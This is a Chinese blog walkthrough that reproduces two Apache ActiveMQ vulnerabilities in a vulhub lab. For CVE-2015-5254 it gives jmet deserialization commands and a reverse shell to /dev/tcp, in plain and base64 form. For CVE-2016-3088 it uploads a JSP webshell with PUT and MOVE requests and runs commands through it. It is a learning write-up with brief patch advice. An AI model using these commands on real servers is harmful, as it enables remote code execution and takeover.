zoukankan      html  css  js  c++  java
  • ActiveMQ漏洞复现

    简介

    漏洞环境:不做额外说明,漏洞环境均为vulhub

    参考链接:

    Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。

    activemq存在两个默认端口,8161是后台管理系统,61616是给java用的tcp端口。

    CVE-2015-5254

    参考链接:

    Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

    漏洞影响范围:

    • Apache ActiveMQ 5.13.0之前的版本

    漏洞复现

    启动环境。

    访问http://139.198.172.202:8161/admin/,默认账户和密码均为admin

    漏洞利用过程共有三步:

    1. 构造(可以使用ysoserial)可执行命令的序列化对象
    2. 作为一个消息,发送至目标61616端口
    3. 访问web管理页面,读取消息,触发漏洞

    使用jmet进行漏洞利用,下载jmetwget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar,在同目录下创建external文件夹,否则可能会爆文件夹不存在的错误(但是我没有遇到欸)。

    创建一个消息,并发送到服务端,命令如下:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 139.198.172.202 61616
    

    如果没有报错,发送完成后,会给目标ActiveMQ添加一个名为事件的队列,可以我们通过 http://139.198.172.202:8161/admin/browse.jsp?JMSDestination=event 看到这个队列中所有消息:

    点击查看这条消息,即可触发漏洞。点击消息并进入容器查看结果。

    可以看到/tmp/success文件已被创建。

    进行shell反弹,nc开启监听,执行如下命令:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/139.198.172.202/1234 0>&1" -Yp ROME 139.198.172.202 61616
    

    其中,需要对bash -i >& /dev/tcp/139.198.172.202/1234 0>&1进行base64编码,网上说这是为了绕过java机制,却没说是什么机制,有点摸不着头脑。

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk4LjE3Mi4yMDIvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 139.198.172.202 61616
    

    漏洞修复

    • 更新到没有漏洞的版本

    漏洞利用前提是管理员得访问攻击者伪造的事件才能利用成功,不知道生产环境下,事件多不多,如果比较多,还是比较看脸的。

    CVE-2016-3088

    参考链接:

    该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。

    漏洞影响版本:

    • Apache ActiveMQ 5.0.0 - 5.13.2

    漏洞复现

    启动环境。

    访问http://139.198.172.202:8161/admin/,默认账户和密码均为admin

    获取系统当前路径:http://139.198.172.202:8161/admin/test/systemProperties.jsp

    刷新页面,并使用burp拦截抓包,修改请求方式、请求URI等用来上传jsp小马。

    直接访问该页面,发现该页面直接显示出来,没有被解析,说明fileserver目录下没有执行权限。

    通过MOVE方式,将其移动到api目录下(Destination: file:///opt/activemq/webapps/api/1.jsp),成功会返回204 No Content

    jb51的参考链接中,他利用了一个物理路径泄露的漏洞,但是我没有复现成功。

    执行命令。

    http://139.198.172.202:8161/api/1.jsp?cmd=id
    

    漏洞修复

    ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    python面向对象(进阶篇)
    python面向对象三大特性
    点击头像单独把图片拉取出来.然后再次点击回到初始效果
    关于iOS的自动弹出键盘问题
    为UITextView添加通知..来检测UITextView内容的改变
    null 解决方法
    获取手机的唯一标示uuid
    SDK | 声波传输
    Xcode svn import项目 上传.a文件(静态库)
    点击状态栏回到顶部
  • 原文地址:https://www.cnblogs.com/ahtoh/p/15151937.html
Copyright © 2011-2022 走看看